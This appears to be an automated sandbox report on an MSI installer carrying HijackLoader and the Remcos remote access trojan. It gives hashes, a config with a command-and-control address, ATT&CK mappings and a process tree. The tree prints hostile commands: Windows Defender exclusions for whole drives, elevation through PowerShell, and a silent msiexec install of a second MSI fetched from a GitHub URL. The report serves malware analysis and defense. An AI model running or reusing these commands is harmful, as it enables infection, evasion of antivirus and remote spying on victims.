hijackloader | bdb79800e4177b59b3830ae7cc996a41fc2b560593e7b51e02408c062f8d4449

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01/12/2024, 02:56

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General

Target
bdb79800e4177b59b3830ae7cc996a41fc2b560593e7b51e02408c062f8d4449.msi
Size 3.1MB
Sample241201-de23msvkcy
SHA256 bdb79800e4177b59b3830ae7cc996a41fc2b560593e7b51e02408c062f8d4449
MD5 028578212baa7456aae40d4bdb5792e5
SHA1 fd9037a16f327a64f8b2fd8ff9f6664ae307ca39
SHA512 66961e2be5b19aa30c2bb50f7ca502aa8e451299b2f1b5a6b9f3e6c82486e13dd9f18857553e8ff65912ffea9708ed8cab6da704c1bf5bba57944143ca7b1867
SSDEEP 49152:muoukMo27Epq0n8Toc4Ur8r6F5mCmR+Ov0Rn0rItYcuwwERO9qZFTvqPvO6Ezvsk:1Yn8ToWo6AvAYcuwr9qrn
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

hijackloader remcos v2 discovery execution loader persistence privilege_escalation rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b8a-116.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2244	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
19	3512	msiexec.exe
21	3512	msiexec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	raw.githubusercontent.com
21	raw.githubusercontent.com

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
4928	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3120 set thread context of 2240	3120	Updwork.exe	128
PID 552 set thread context of 1224	552	EHttpSrv.exe	125
PID 1224 set thread context of 460	1224	cmd.exe	132

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\sev\dev\Firefox Installer.exe	msiexec.exe
File created	C:\Program Files (x86)\sev\dev\ScreenRec_webinstall_all.exe	msiexec.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI141F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1691.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI178D.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1899.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d188.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID42B.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID4E9.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI17BD.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID225.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID3BC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID3FB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID45B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{99CC7D73-9969-490E-93F9-36FE4003EF4F}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI171F.tmp	msiexec.exe
File created	C:\Windows\Installer\e57d188.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
552	EHttpSrv.exe
3120	Updwork.exe

Loads dropped DLL 13 IoCs

pid	Process
3888	MsiExec.exe
3888	MsiExec.exe
3888	MsiExec.exe
3888	MsiExec.exe
3888	MsiExec.exe
4304	MsiExec.exe
4304	MsiExec.exe
4304	MsiExec.exe
4304	MsiExec.exe
552	EHttpSrv.exe
552	EHttpSrv.exe
3120	Updwork.exe
460	EHttpSrv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1908	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Updwork.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x000a000000023b8f-108.dat	nsis_installer_1
behavioral2/files/0x000a000000023b8f-108.dat	nsis_installer_2

Delays execution with timeout.exe 5 IoCs

evasion

pid	Process
4420	timeout.exe
1740	timeout.exe
3308	timeout.exe
3580	timeout.exe
768	timeout.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2804	taskkill.exe
1728	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
316	msiexec.exe
316	msiexec.exe
4928	powershell.exe
4928	powershell.exe
3512	msiexec.exe
3512	msiexec.exe
552	EHttpSrv.exe
1224	cmd.exe
1224	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
552	EHttpSrv.exe
1224	cmd.exe
1224	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1908	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1908	msiexec.exe
Token: SeSecurityPrivilege	316	msiexec.exe
Token: SeCreateTokenPrivilege	1908	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1908	msiexec.exe
Token: SeLockMemoryPrivilege	1908	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1908	msiexec.exe
Token: SeMachineAccountPrivilege	1908	msiexec.exe
Token: SeTcbPrivilege	1908	msiexec.exe
Token: SeSecurityPrivilege	1908	msiexec.exe
Token: SeTakeOwnershipPrivilege	1908	msiexec.exe
Token: SeLoadDriverPrivilege	1908	msiexec.exe
Token: SeSystemProfilePrivilege	1908	msiexec.exe
Token: SeSystemtimePrivilege	1908	msiexec.exe
Token: SeProfSingleProcessPrivilege	1908	msiexec.exe
Token: SeIncBasePriorityPrivilege	1908	msiexec.exe
Token: SeCreatePagefilePrivilege	1908	msiexec.exe
Token: SeCreatePermanentPrivilege	1908	msiexec.exe
Token: SeBackupPrivilege	1908	msiexec.exe
Token: SeRestorePrivilege	1908	msiexec.exe
Token: SeShutdownPrivilege	1908	msiexec.exe
Token: SeDebugPrivilege	1908	msiexec.exe
Token: SeAuditPrivilege	1908	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1908	msiexec.exe
Token: SeChangeNotifyPrivilege	1908	msiexec.exe
Token: SeRemoteShutdownPrivilege	1908	msiexec.exe
Token: SeUndockPrivilege	1908	msiexec.exe
Token: SeSyncAgentPrivilege	1908	msiexec.exe
Token: SeEnableDelegationPrivilege	1908	msiexec.exe
Token: SeManageVolumePrivilege	1908	msiexec.exe
Token: SeImpersonatePrivilege	1908	msiexec.exe
Token: SeCreateGlobalPrivilege	1908	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeRestorePrivilege	316	msiexec.exe
Token: SeTakeOwnershipPrivilege	316	msiexec.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeIncreaseQuotaPrivilege	1472	WMIC.exe
Token: SeSecurityPrivilege	1472	WMIC.exe
Token: SeTakeOwnershipPrivilege	1472	WMIC.exe
Token: SeLoadDriverPrivilege	1472	WMIC.exe
Token: SeSystemProfilePrivilege	1472	WMIC.exe
Token: SeSystemtimePrivilege	1472	WMIC.exe
Token: SeProfSingleProcessPrivilege	1472	WMIC.exe
Token: SeIncBasePriorityPrivilege	1472	WMIC.exe
Token: SeCreatePagefilePrivilege	1472	WMIC.exe
Token: SeBackupPrivilege	1472	WMIC.exe
Token: SeRestorePrivilege	1472	WMIC.exe
Token: SeShutdownPrivilege	1472	WMIC.exe
Token: SeDebugPrivilege	1472	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1908	msiexec.exe
1908	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 316 wrote to memory of 3888	316	msiexec.exe	84
PID 316 wrote to memory of 3888	316	msiexec.exe	84
PID 316 wrote to memory of 3888	316	msiexec.exe	84
PID 316 wrote to memory of 388	316	msiexec.exe	85
PID 316 wrote to memory of 388	316	msiexec.exe	85
PID 388 wrote to memory of 3848	388	cmd.exe	87
PID 388 wrote to memory of 3848	388	cmd.exe	87
PID 388 wrote to memory of 1740	388	cmd.exe	88
PID 388 wrote to memory of 1740	388	cmd.exe	88
PID 388 wrote to memory of 3308	388	cmd.exe	89
PID 388 wrote to memory of 3308	388	cmd.exe	89
PID 388 wrote to memory of 3580	388	cmd.exe	90
PID 388 wrote to memory of 3580	388	cmd.exe	90
PID 388 wrote to memory of 768	388	cmd.exe	91
PID 388 wrote to memory of 768	388	cmd.exe	91
PID 388 wrote to memory of 3012	388	cmd.exe	92
PID 388 wrote to memory of 3012	388	cmd.exe	92
PID 3012 wrote to memory of 4928	3012	cscript.exe	93
PID 3012 wrote to memory of 4928	3012	cscript.exe	93
PID 388 wrote to memory of 4420	388	cmd.exe	95
PID 388 wrote to memory of 4420	388	cmd.exe	95
PID 4928 wrote to memory of 1852	4928	powershell.exe	96
PID 4928 wrote to memory of 1852	4928	powershell.exe	96
PID 1852 wrote to memory of 1596	1852	wscript.exe	97
PID 1852 wrote to memory of 1596	1852	wscript.exe	97
PID 1596 wrote to memory of 1472	1596	cmd.exe	99
PID 1596 wrote to memory of 1472	1596	cmd.exe	99
PID 1852 wrote to memory of 3508	1852	wscript.exe	101
PID 1852 wrote to memory of 3508	1852	wscript.exe	101
PID 3508 wrote to memory of 3736	3508	cmd.exe	103
PID 3508 wrote to memory of 3736	3508	cmd.exe	103
PID 1852 wrote to memory of 1028	1852	wscript.exe	104
PID 1852 wrote to memory of 1028	1852	wscript.exe	104
PID 1028 wrote to memory of 2804	1028	cmd.exe	106
PID 1028 wrote to memory of 2804	1028	cmd.exe	106
PID 1852 wrote to memory of 1608	1852	wscript.exe	108
PID 1852 wrote to memory of 1608	1852	wscript.exe	108
PID 1608 wrote to memory of 1728	1608	cmd.exe	110
PID 1608 wrote to memory of 1728	1608	cmd.exe	110
PID 1852 wrote to memory of 2232	1852	wscript.exe	111
PID 1852 wrote to memory of 2232	1852	wscript.exe	111
PID 1852 wrote to memory of 1768	1852	wscript.exe	113
PID 1852 wrote to memory of 1768	1852	wscript.exe	113
PID 1768 wrote to memory of 2244	1768	wscript.exe	118
PID 1768 wrote to memory of 2244	1768	wscript.exe	118
PID 3512 wrote to memory of 4304	3512	msiexec.exe	120
PID 3512 wrote to memory of 4304	3512	msiexec.exe	120
PID 3512 wrote to memory of 4304	3512	msiexec.exe	120
PID 3512 wrote to memory of 552	3512	msiexec.exe	123
PID 3512 wrote to memory of 552	3512	msiexec.exe	123
PID 3512 wrote to memory of 552	3512	msiexec.exe	123
PID 3512 wrote to memory of 3120	3512	msiexec.exe	124
PID 3512 wrote to memory of 3120	3512	msiexec.exe	124
PID 3512 wrote to memory of 3120	3512	msiexec.exe	124
PID 552 wrote to memory of 1224	552	EHttpSrv.exe	125
PID 552 wrote to memory of 1224	552	EHttpSrv.exe	125
PID 552 wrote to memory of 1224	552	EHttpSrv.exe	125
PID 3120 wrote to memory of 2240	3120	Updwork.exe	128
PID 3120 wrote to memory of 2240	3120	Updwork.exe	128
PID 3120 wrote to memory of 2240	3120	Updwork.exe	128
PID 3120 wrote to memory of 2240	3120	Updwork.exe	128
PID 3120 wrote to memory of 2240	3120	Updwork.exe	128
PID 552 wrote to memory of 1224	552	EHttpSrv.exe	125
PID 1224 wrote to memory of 460	1224	cmd.exe	132

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\bdb79800e4177b59b3830ae7cc996a41fc2b560593e7b51e02408c062f8d4449.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1908

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:316
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5A3D4CDFE7710FDCCF3225F78A2F3DF5
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\updt\lola.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3848
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1740
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3308
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3580
- - C:\Windows\system32\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:768
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Users\Admin\AppData\Local\Temp\updt\runTaskAsAdmin.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process wscript.exe -ArgumentList '""C:\Users\Admin\AppData\Local\Temp\updt\task.vbs""' -Verb runAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4928
    - - C:\Windows\system32\wscript.exe
        
        "C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\updt\task.vbs
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1852
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1596
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1472
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3508
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
        7⤵
        
        PID:3736
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1028
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cmd.exe
        7⤵
        Kills process with taskkill
        
        PID:2804
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1608
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im msiexec.exe
        7⤵
        Kills process with taskkill
        
        PID:1728
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo Script started >> "C:\Users\root\Desktop\wix\log.txt"
        6⤵
        
        PID:2232
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\updt\secondaryTask.vbs" /b
        6⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1768
        
        C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi /qn
        7⤵
        Use of msiexec (install) with remote resource
        
        PID:2244
- - C:\Windows\system32\timeout.exe
    timeout /t 60 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4420

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FB2586DED5BA517E57CD346040877B5A
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4304
- C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
  "C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1224
  - - C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
      C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:460
- C:\Users\Admin\AppData\Local\Temp\Updwork.exe
  "C:\Users\Admin\AppData\Local\Temp\Updwork.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\SysWOW64\WerFault.exe
    "C:\Windows\System32\WerFault.exe"
    3⤵
    PID:2240

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}
1⤵
- System Location Discovery: System Language Discovery
PID:4356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

e57d18b.rbs

Path C:\Config.Msi\e57d18b.rbs
Size 2KB
SHA256 e30e7105808cf583127e6741a3b380859a4d062b577c92888f80371dd2c0b7dc
MD5 78ddd87fdf483d5e0469fe596f9ad2b4
SHA1 be7dab3f44f4ab808dbd8d5c72f884d24e85b750
SHA512 a4e81549298c382e44883aa2ef56e6cea4eecd64d48a33b121dc3f0fea53fdd297243df4609bffb2d17fab2796ec3dcd5f6ec668e866447d89f45524fdb4642a
MD5 SHA1 SHA512

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e581819.rbs

Path C:\Config.Msi\e581819.rbs
Size 2KB
SHA256 8d10447bd17e3913dd5a0cdaa45dc9bc7e14731a34f9ef4ab60231ffae684e32
MD5 0c2425951dea233e996db0fb4295c0a7
SHA1 42d12a8b4e6a967070e14baf2643b3b995d1a9c4
SHA512 4f76c307c4411041c8d56279ef9379c239fe374b16c3e9765c40578b21347f428f28815db31eb8fdf496c314f1945375d57328e112ea15468f822bb8d4ca75de
MD5 SHA1 SHA512

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8e5485ae

Path C:\Users\Admin\AppData\Local\Temp\8e5485ae
Size 1.0MB
SHA256 4906a50a14f76f863b319019c0b8746f7b9f83587e2ddee45f439cc01549ec3a
MD5 e83042e6f57b4653937043b57f0c8c3d
SHA1 4f238513b9dda7e92c44967cda066ed36e0a9d88
SHA512 92361d7512c88a3ab685f5cdfe4180fb19128d8ee30f8bb4e7043df312e77e6f7a88d52479404f952707bcbc420fb3d04758c686fb2c66b3bad02b20bc8f593d
SSDEEP 24576:pbP+yylf8VMCTEJm9YBPKX2mJOuTMmynOoAHY/28weIaj5JpxpIy:I60Z+XTMtOhmj55
MD5 SHA1 SHA512 SSDEEP

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EHttpSrv.exe

Path C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
Size 20KB
SHA256 effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659
MD5 9329ba45c8b97485926a171e34c2abb8
SHA1 20118bc0432b4e8b3660a4b038b20ca28f721e5c
SHA512 0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc
SSDEEP 384:Damtvzlx5v02RIDauMTnxOn6sGCYJLW7wycJbi6jc:D7Jv0qpukxO6s6Lhbimc
MD5 SHA1 SHA512 SSDEEP

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MFC80U.DLL

Path C:\Users\Admin\AppData\Local\Temp\MFC80U.DLL
Size 1.0MB
SHA256 a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36
MD5 686b224b4987c22b153fbb545fee9657
SHA1 684ee9f018fbb0bbf6ffa590f3782ba49d5d096c
SHA512 44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875
SSDEEP 12288:wsaHmJ//R12t2PdMvWxMIQ1zoKyK0ivyHCJKjswl/KY6oQy3AmgVk2YDFpR7m81H:KHmJ+tKtxMIQNmCcjswl/KYh/2YFnb
MD5 SHA1 SHA512 SSDEEP

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MSI7cf94.LOG

Path C:\Users\Admin\AppData\Local\Temp\MSI7cf94.LOG
Size 49KB
SHA256 ab8c466166e80b35ceff5880cc1dfc575f04145718c05153dc50551cbdd739da
MD5 77777565f7554a7ccb3386fabfc3fc65
SHA1 19be934f914128cc022e44e33c476a436698a2d3
SHA512 e429eb9df02679970186c0f13cd03cbbe1bfb0a7ba793da1ea228a671dd65eeea97694f6a022080a743e9b7e6782020cd37cf147cdbf10b8fbad419c619e2d93
SSDEEP 1536:ZJ4PK5gqhmrekDLKUJrlHVq9jN3NLN3N/1JrlHVq9jN3NLN3NfVJrlHVq9jN3NL2:a
